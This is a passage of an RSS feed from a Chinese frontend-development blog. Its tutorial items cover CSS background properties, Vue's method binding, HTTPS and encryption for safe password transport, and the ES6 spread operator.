&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-image&lt;/span&gt;: url(&lt;span style="color:#e6db74"&gt;./imgs/1.jpg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-repeat&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;repeat-x&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/background/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.repeat-y&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果背景图片不能将盒子的垂直方向铺满，则在垂直方向采取平铺处理直到铺满盒子的垂直方向。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-image&lt;/span&gt;: url(&lt;span style="color:#e6db74"&gt;./imgs/1.jpg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-repeat&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;repeat-y&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/background/image-04.webp"&gt;&lt;/p&gt;
&lt;h2 id="二background-position"&gt;二：background-position&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;background-positiont决定背景图片在盒子区域的定位位置。其方位由水平和垂直决定&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;1.px设置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;px决定了背景图片在盒子水平和垂直方向偏移指定px的距离。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-image&lt;/span&gt;: url(&lt;span style="color:#e6db74"&gt;./imgs/1.jpg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-repeat&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;no-repeat&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-position&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/background/image-05.webp"&gt;&lt;/p&gt;</description></item><item><title>methods</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/methods/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/methods/</guid><description>&lt;h2 id="methods-的初始化"&gt;Methods 的初始化&lt;/h2&gt;
&lt;p&gt;在 Vue.js 中，每个组件实例（&lt;code&gt;vm&lt;/code&gt;）都会有一个 &lt;code&gt;methods&lt;/code&gt; 属性，这个属性包含了组件中定义的所有方法。这些方法需要被初始化到实例上，以便可以在模板和生命周期钩子中被调用。初始化过程如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;initMethods&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;noop&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;], &lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这段代码遍历 &lt;code&gt;methods&lt;/code&gt; 对象中的每个属性，并将其复制到 Vue 实例（&lt;code&gt;vm&lt;/code&gt;）上。如果方法不存在（&lt;code&gt;methods[key] == null&lt;/code&gt;），则赋值为一个空函数（&lt;code&gt;noop&lt;/code&gt;），以避免对 &lt;code&gt;undefined&lt;/code&gt; 的调用。否则，使用 &lt;code&gt;bind&lt;/code&gt; 方法将每个方法的 &lt;code&gt;this&lt;/code&gt; 绑定到 Vue 实例上。&lt;/p&gt;
&lt;h2 id="methods-作用域的固定"&gt;Methods 作用域的固定&lt;/h2&gt;
&lt;p&gt;在 JavaScript 中，函数的 &lt;code&gt;this&lt;/code&gt; 值是在函数被调用时确定的，而不是在定义时。这可能导致在 Vue 实例的方法中 &lt;code&gt;this&lt;/code&gt; 并不指向实例本身，尤其是在方法被传递给其他函数或作为回调函数时。Vue 使用 &lt;code&gt;bind&lt;/code&gt; 来解决这个问题，确保 &lt;code&gt;this&lt;/code&gt; 总是指向 Vue 实例。&lt;/p&gt;
&lt;h3 id="原生和兼容性-bind-实现"&gt;原生和兼容性 bind 实现&lt;/h3&gt;
&lt;p&gt;Vue.js 提供了两种 &lt;code&gt;bind&lt;/code&gt; 的实现：原生的和兼容性的。兼容性实现是为了兼容那些不支持 &lt;code&gt;Function.prototype.bind&lt;/code&gt; 的旧浏览器。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;polyfillBind&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;boundFn&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;l&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;l&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#a6e22e"&gt;l&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;apply&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;arguments&lt;/span&gt;) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;boundFn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_length&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;boundFn&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nativeBind&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Function.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;nativeBind&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;polyfillBind&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;polyfillBind&lt;/code&gt; 函数创建了一个新的函数 &lt;code&gt;boundFn&lt;/code&gt;，它在调用时使用 &lt;code&gt;call&lt;/code&gt; 或 &lt;code&gt;apply&lt;/code&gt; 将 &lt;code&gt;fn&lt;/code&gt; 的 &lt;code&gt;this&lt;/code&gt; 绑定到 &lt;code&gt;ctx&lt;/code&gt; 上。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nativeBind&lt;/code&gt; 函数直接使用原生的 &lt;code&gt;bind&lt;/code&gt; 方法。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bind&lt;/code&gt; 变量根据浏览器是否支持原生 &lt;code&gt;bind&lt;/code&gt; 来选择使用哪种实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="使用-bind-的好处"&gt;使用 bind 的好处&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;bind&lt;/code&gt; 后，我们可以在组件的方法中直接使用 &lt;code&gt;this&lt;/code&gt; 来访问实例的属性和方法，而不用担心 &lt;code&gt;this&lt;/code&gt; 的指向问题。这使得代码更加简洁和安全。&lt;/p&gt;</description></item><item><title>密码存储</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/</guid><description>&lt;p&gt;我们在开发网站或者APP时，首先要解决的问题，就是&lt;strong&gt;如何安全地传输和存储用户的密码&lt;/strong&gt;。一些大公司的用户数据库泄露事件也时有发生，带来非常大的负面影响。因此，如何安全传输存储用户密码，是每位程序员必备的基础。本文将跟大家一起学习，如何安全传输存储用户的密码。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="1-如何安全地传输用户的密码"&gt;1. 如何安全地传输用户的密码&lt;/h3&gt;
&lt;p&gt;要拒绝用户密码在网络上裸奔，我们很容易就想到使用https协议，那先来回顾下https相关知识吧~&lt;/p&gt;
&lt;h4 id="11-https-协议"&gt;1.1 https 协议&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-02.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;「http的三大风险」&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为什么要使用https协议呢？&lt;strong&gt;http它不香&lt;/strong&gt;吗? 因为http是明文信息传输的。如果在茫茫的网络海洋，使用http协议，有以下三大风险：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;窃听/嗅探风险：第三方可以截获通信数据。&lt;/li&gt;
&lt;li&gt;数据篡改风险：第三方获取到通信数据后，会进行恶意修改。&lt;/li&gt;
&lt;li&gt;身份伪造风险：第三方可以冒充他人身份参与通信。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果传输不重要的信息还好，但是传输用户密码这些敏感信息，那可不得了。所以一般都要使用&lt;strong&gt;https协议&lt;/strong&gt;传输用户密码信息。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;「https 原理」&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;https原理是什么呢？为什么它能解决http的三大风险呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;https = http + SSL/TLS, SSL/TLS 是传输层加密协议，它提供内容加密、身份认证、数据完整性校验，以解决数据传输的安全性问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;为了加深https原理的理解，我们一起复习一下 &lt;strong&gt;一次完整https的请求流程&lt;/strong&gt;吧~&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-03.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;客户端发起https请求&lt;/li&gt;
&lt;li&gt;服务器必须要有一套数字证书，可以自己制作，也可以向权威机构申请。这套证书其实就是一对公私钥。&lt;/li&gt;
&lt;li&gt;服务器将自己的数字证书（含有公钥、证书的颁发机构等）发送给客户端。&lt;/li&gt;
&lt;li&gt;客户端收到服务器端的数字证书之后，会对其进行验证，主要验证公钥是否有效，比如颁发机构，过期时间等等。如果不通过，则弹出警告框。如果证书没问题，则生成一个密钥（对称加密算法的密钥，其实是一个随机值），并且用证书的公钥对这个随机值加密。&lt;/li&gt;
&lt;li&gt;客户端会发起https中的第二个请求，将加密之后的客户端密钥(随机值)发送给服务器。&lt;/li&gt;
&lt;li&gt;服务器接收到客户端发来的密钥之后，会用自己的私钥对其进行非对称解密，解密之后得到客户端密钥，然后用客户端密钥对返回数据进行对称加密，这样数据就变成了密文。&lt;/li&gt;
&lt;li&gt;服务器将加密后的密文返回给客户端。&lt;/li&gt;
&lt;li&gt;客户端收到服务器发返回的密文，用自己的密钥（客户端密钥）对其进行对称解密，得到服务器返回的数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;「https一定安全吗？」&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;https的数据传输过程，数据都是密文的，那么，使用了https协议传输密码信息，一定是安全的吗？其实不然&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;比如，https 完全就是建立在证书可信的基础上的呢。但是如果遇到中间人伪造证书，一旦客户端通过验证，安全性顿时就没了哦！平时各种钓鱼不可描述的网站，很可能就是黑客在诱导用户安装它们的伪造证书！&lt;/li&gt;
&lt;li&gt;通过伪造证书，https也是可能被抓包的哦。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h4 id="12-对称加密算法"&gt;1.2 对称加密算法&lt;/h4&gt;
&lt;p&gt;既然使用了https协议传输用户密码，还是 &lt;strong&gt;「不一定安全」&lt;/strong&gt;，那么，我们就给用户密码 &lt;strong&gt;「加密再传输」&lt;/strong&gt; 呗~&lt;/p&gt;
&lt;p&gt;加密算法有 &lt;strong&gt;「对称加密」&lt;/strong&gt; 和 &lt;strong&gt;「非对称加密」&lt;/strong&gt; 两大类。用哪种类型的加密算法 &lt;strong&gt;「靠谱」&lt;/strong&gt; 呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对称加密：加密和解密使用 &lt;strong&gt;「相同密钥」&lt;/strong&gt; 的加密算法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-04.webp"&gt; 常用的对称加密算法主要有以下几种哈：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-05.webp"&gt; 如果使用对称加密算法，需要考虑 &lt;strong&gt;「密钥如何给到对方」&lt;/strong&gt; ，如果密钥还是网络传输给对方，传输过程，被中间人拿到的话，也是有风险的哦。&lt;/p&gt;
&lt;h4 id="13-非对称加密算法"&gt;1.3 非对称加密算法&lt;/h4&gt;
&lt;p&gt;再考虑一下非对称加密算法呢？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;「非对称加密：」&lt;/strong&gt; 非对称加密算法需要两个密钥（公开密钥和私有密钥）。公钥与私钥是成对存在的，如果用公钥对数据进行加密，只有对应的私钥才能解密。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-006/image-06.webp"&gt;&lt;/p&gt;</description></item><item><title>展开运算符</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-006/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-006/</guid><description>&lt;p&gt;ES6 新增了很多特性，扩展运算符就是其中一个。简单的三个点号，让原本繁琐的代码瞬间变得简洁、优雅。就让我们看看它有哪些常见用法吧。&lt;/p&gt;
&lt;h2 id="让函数的-apply-调用方式成为过去"&gt;让函数的 Apply 调用方式成为过去&lt;/h2&gt;
&lt;p&gt;有时候我们需要通过 &lt;code&gt;Function.prototype.apply&lt;/code&gt; 来调用函数，参数就放在一个数组里。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function doStuff (x, y, z) { }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; args &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;调用函数并传参&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;doStuff&lt;span style="color:#f92672"&gt;.&lt;/span&gt;apply(null, args);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;现在有了展开运算符，我们可以完全避免使用 &lt;code&gt;apply&lt;/code&gt;，只需在调用函数时在数组前加上展开运算符：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;doStuff(...args);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代码变得更短、更简洁，也不需要一个毫无用处的 &lt;code&gt;null&lt;/code&gt;！&lt;/p&gt;
&lt;h2 id="合并数组"&gt;合并数组&lt;/h2&gt;
&lt;p&gt;合并数组有各种方式，但是展开运算符为我们提供了一种新思路：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;arr1.push(...arr2) // 在数组后面添加 arr2 里的元素
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;arr1.unshift(...arr2) //在数组前面添加 arr2 里的元素
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果你想合并两个数组，并且想把元素放到数组中的任何位置，你可以这么做：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; arr1 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;two&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;three&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; arr2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#39;one&amp;#39;&lt;/span&gt;, &lt;span style="color:#f92672"&gt;...&lt;/span&gt;arr1, &lt;span style="color:#e6db74"&gt;&amp;#39;four&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;five&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
